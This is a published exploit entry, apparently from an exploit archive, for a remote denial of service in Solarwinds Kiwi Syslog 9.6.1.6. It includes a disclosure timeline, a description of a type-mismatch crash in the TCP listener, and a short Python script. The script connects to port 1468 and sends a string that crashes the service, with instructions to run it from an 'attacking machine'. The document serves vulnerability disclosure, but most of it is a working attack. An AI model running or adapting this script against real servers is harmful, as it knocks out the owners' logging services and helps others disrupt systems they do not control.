Solarwinds Kiwi Syslog 9.6.1.6 - Denial of Service Exploit

# Exploit Title: Solarwinds Kiwi Syslog 9.6.1.6 - Remote Denial of Service (Type Mismatch)
# Date: 26/05/2017
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.solarwinds.com/
# Software Link: http://downloads.solarwinds.com/solarwinds/Release/Kiwi/Syslog/Kiwi-Syslog-Server-9.6.1-Eval.zip
# Version: 9.6.1.6
# Tested on: Windows 7 SP1 Family x64 (FR) and Windows 8.1 Pro x64
# Category: DoS
 
"""
Disclosure Timeline:
--------------------
2017-05-20: Vulnerability discovered
2017-05-26: Vendor contacted
2017-05-31: Vendor answered (technical support)
2017-05-31: Vendor contacted (no answer)
2017-08-01: Exploit published
 
 
Description :
-------------
A remote Denial of Service exists in Kiwi Syslog 9.6.1.6 in the TCP listener.
Apparently any data sent to it make it crash because of a Type Mismatch error.
The syslog TCP listener is disabled by default.
 
 
Instructions:
-------------
- Starts Kiwi Syslog, and enable the TCP listener in the settings, default port is 1468.
- Run this exploit locally or from your remote attacking machine.
"""
 
#!/usr/bin/python
import socket
 
host    = "10.0.0.56"
port    = 1468
 
buffer  = "crash please?"
 
try:
        print "[*] Connecting to %s:%d" % (host, port)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
 
        print "[*] Sending buffer... (%d bytes)" % len(buffer)
        s.send(buffer)
        s.close()
 
        print "[*] Done."
except:
        print "[-] Error connecting"

#  0day.today [2018-02-06]  #